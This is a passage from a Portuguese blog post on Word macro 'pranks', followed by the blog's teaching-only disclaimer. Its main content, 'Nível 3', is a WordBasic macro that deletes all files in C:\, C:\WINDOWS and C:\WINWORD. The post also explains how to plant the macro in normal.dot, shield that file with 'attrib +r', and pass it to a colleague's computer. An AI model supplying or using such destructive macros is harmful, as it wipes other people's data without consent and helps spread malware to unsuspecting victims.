ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "."
ArquivoNovoPadrão
Inserir "James Bond 007 Na Estrada digital "
End Sub

Nível 3
Bom este nível é pura sacanagem,com ele um simples clicar* do mouse, e tudo desaparece! isto mesmo "del *.*" ou apenas os documentos, voce é quem sabe.
Sub MAIN
Kill "C:\*.*"
Kill "C:\WINDOWS\*.*"
Kill "C:\WINWORD\*.*"
End Sub

Lembre-se de que estes macros, sao gravado no arquivo default do word, ou seja no 'normal.dot' se este arquivo for deletado, o Word cria automaticamente na inicializacao,entao se voce for fazer estas sacanagens ai acima, proteja este arquivo, com o comando 'attrib +r'. 

Detalhes:
Existe uma forma de iniciar o Word, sem q inicialize a macro 'AutoExec' mas não irei falar, descubra voce mesmo. A macro do word é uma ferramenta riquissima, procure fuçar. Voce pode fazer estas no seu proprio computador(so cuide!), salvando sempre no arq."normal.dot" depois copie apenas este arquivo para aquele seu colega/amigo pentelho e saie de perto, para não explodir em voce. Não me responsabilizo por qualquer ato.

LinkWithin

Related Posts Plugin for WordPress, Blogger...

NOSSO OBJETIVO

OBJETIVO

Este blog será usado para divulgação de minhas ideias, notícias sobre tecnologia, disponibilização de links para download de materiais diversos (incluindo materiais didáticos -- que poderão ser usados em minhas aulas e/ou cursos). Gostaria de DEIXAR BEM CLARO que quaisquer materiais disponibilizados através deste blog são, tão somente, para acompanhamento de aulas e/ou cursos, e não constituem de modo algum, aulas na modalidade "ensino à distância" (EAD). Alunos têm total acesso aos materiais disponíveis, mas somente como tutoriais passo a passo. Apostilas disponibilizadas através deste blog não são materiais obrigatórios em disciplinas cursadas ou cursos ministrados.

RESPONSABILIDADE

O autor deste blog não é responsável pelo mau uso, intencional ou não, de qualquer código de programa disponibilizado aqui. Os códigos de programas disponíveis neste blog para download é e serão sempre, e tão somente, para uso didático durante o aprendizado. Seja bem-vindo.